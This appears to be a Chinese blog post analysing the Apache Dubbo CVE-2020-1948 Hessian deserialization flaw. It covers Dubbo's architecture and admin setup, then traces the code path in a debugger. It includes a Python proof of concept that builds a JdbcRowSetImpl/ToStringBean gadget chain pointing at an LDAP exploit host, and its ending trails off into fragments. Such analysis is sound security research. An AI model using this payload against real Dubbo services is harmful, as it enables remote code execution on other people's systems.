- 远程通讯: 提供对多种基于长连接的NIO框架抽象封装,包括多种线程模型,序列化,以及“请求-响应”模式的信息交换方式。
- 集群容错: 提供基于接口方法的透明远程过程调用,包括多协议支持,以及软负载均衡,失败容错,地址路由,动态配置等集群支持。
- 自动发现: 基于注册中心目录服务,使服务消费方能动态的查找服务提供方,使地址透明,使服务提供方可以平滑增加或减少机器。
Provider
暴露服务方称之为“服务提供者”
Consumer
调用远程服务方称之为“服务消费者”
Registry
服务注册与发现的中心目录服务称之为“服务注册中心”
Monitor
统计服务的调用次调和调用时间的日志服务称之为“服务监控中心”
Container
服务运行容器。
Provider将本地提供的远程方法在注册中心进行注册,Consumer需要调用时会先去注册中心进行查询,根据注册中心返回的结果再去对应的Provider中调用对应的远程方法,如果有变更,注册中心将基于长连接推送变更数据给Consumer 。
启动注册中心,Apache dubbo 推荐使用的注册中心时Apache ZooKeeper注册中心 下载地址https://zookeeper.apache.org/releases.html
Apache Dubbo有一个web端的管理界面 github地址如下https://github.com/apache/dubbo-admin
dubbo-admin-server 目录下运行 mvn package -Dmaven.test.skip=true 将该模块打包成jar包
然后 java -jar dubbo-admin-server-0.2.0-SNAPSHOT.jar 启动dubbo-admin-server,此时启动了 dubbo管理的服务端但是没有UI界面。
进入到 dubbo-admin-ui 中 执行 npm install 该命令执行完成后 执行npm run dev 。
http://localhost:8081
启动我们使用dubbo框架写的程序
可以看到我们的远程方法服务成功在zookeeper注册中心进行注册
from hessian2 import new_object
from client import DubboClient
client = DubboClient('127.0.0.1', 20880)
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8087/ExploitMac",
strMatchColumns=["fxx"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='com.example.provider.service.UesrService',
method_name='test',
args=[toStringBean])
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
可以看到正是我们通过POC发送的序列化数据
跟进该方法,在第131行代码处有一个if判断,这里通过RefctUtils.desc2classArray()处理完desc参数然后返回一个ToStringBean的类对象。
紧接着通过Hessian将ToStringBean的类对象反序列化成ToStringBean对象并赋值给args参数
仔细观察一下此时args指向的ToStringBean对象的详细内容,可见此时ToStringBean对象有两个属性已经被赋值为JdbcRowSetImpl。
当前方法执行完成后 args参数和pts参数分别被赋值给当前对象的arguments属性和parameterTypes属性,然后当前DecodeableRpcInvocation作为参数进行返回
返回到DecodeHandler中,在第51行代码中传入的message参数是一个Request对象,该Request对象是dubbo的包中的,简单看一下该对象的详细信息
跟进该方法,然后继续跟进handleRequest()方法。
在DubboProtocol类的第263行代码中经过一个if判断然后判断成功会抛出一个RemotingException,关键点就在这里,可以看到传入的参数中采用了字符串拼接的形式,当使用字符串拼接的时候,会自动调用StringBuilder的对象的append方法,依次处理channel.getRemoteAddress()的返回值,channel.getLocalAddress()的返回值,getInvocationWithoutData(inv)的返回值,而getInvocationWithoutData(inv)的返回值正式含有恶意请求的DecodeableRpcInvocation对象,StringBuilder要调用DecodeableRpcInvocation的toString方法将其转化为字符串
DecodeableRpcInvocation类的父类RpcInvocation重写了toString方法,看一下RpcInvocation.toString()方法的实现
同样还是字符串拼接,其中Arrays.toString(arguments),agruments正是之前封装进DecodeableRpcInvocation对象中的ToStringBean对象。接下来自然会调用ToStringBean.toString()方法。
ToStringBean.toString()方法,执行时取出其中的obj属性获取其类名称,并作为参数传入另一个重写的toString方法
该toString方法中会通过反射不断调用JdbcRowSetImpl对象的各个方法,当反射调用JdbcRowSetImpl对象的getDatabaseMetaData方法时,会触发JDNI远程访问dataSource
我们可以看到dataSource的值
至此Apache dubbo (CVE-2020-1948) 反序列化远程代码执行漏洞原理分析完毕
不难发现该方法内用仅仅只用String.equals方法对比了method参数是否和$INVOKE常量或者$INVOKE_ASYNC常量的值相同。
我门看一下两个常量的值
我们此时 method的值为“test”可见并不相同,紧接着进入RpcUtils.isEcho()方法,同样是和常量进行对比,显然结果也不相同
invoke”,“$invokeAsync”,“$
$
最新评论